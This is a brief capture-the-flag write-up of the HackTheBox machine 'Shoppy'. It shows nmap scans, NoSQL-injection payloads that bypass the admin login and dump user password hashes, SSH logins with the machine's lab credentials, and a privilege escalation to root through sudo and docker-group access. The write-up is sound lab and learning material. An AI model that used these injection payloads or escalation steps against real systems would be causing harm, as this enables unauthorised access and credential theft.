Summary
HackTheBox - Shoppy is a HackTheBox easy linux machine created by lockscan. Had a injection which lead to broken authentication. with more injection we where able to leak admin credentials using which we can access mattermost on that we get ssh credentials and get access to box checking sudo -l
we see password manager can be ran as user deploy
getting the password we can get deploy
user shell password. As deploy
user we are in docker
group using which we can get root on the box.
Author:
nmap-scan
1 | # Nmap 7.92 scan initiated Sun Sep 18 02:59:26 2022 as: nmap -sC -sV -oN nmap/shoppy 10.129.9.20 |
nmap all ports
1 | # Nmap 7.92 scan initiated Sun Sep 18 03:00:07 2022 as: nmap -p- -oN nmap/shoppy-all 10.129.9.20 |
Web
We find a admin login panel
With payload as
1 | admin'||' |
We gete access to admin
panel
Searching for admin on the user search feature
1 | ';return 'a'=='a' && ''==' |
1 | [{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"},{"_id":"62db0e93d6d6a999a66ee67b","username":"josh","password":"6ebcea65320589ca4f2f1ce039975995"}] |
cracking the password we get password for josh
as remembermethisway
Checking metamask with that creds we see creds for ssh
Trying ssh with
1 | sshpass -p 'Sh0ppyBest@pp!' ssh jaeger@shoppy.htb |
Checking sudo -l
we see we can run /home/deploy/password-manager
as deploy
user.
We can see the master password to be Sample
With the master password we can get the password for deploy user
1 | username: deploy |
We can ssh to the box with
1 | sshpass -p 'Deploying@pp!' ssh deploy@shoppy.htb |
Checking groups of deploy user we see it is in docker group
Using gtfobins we get the root shell in docker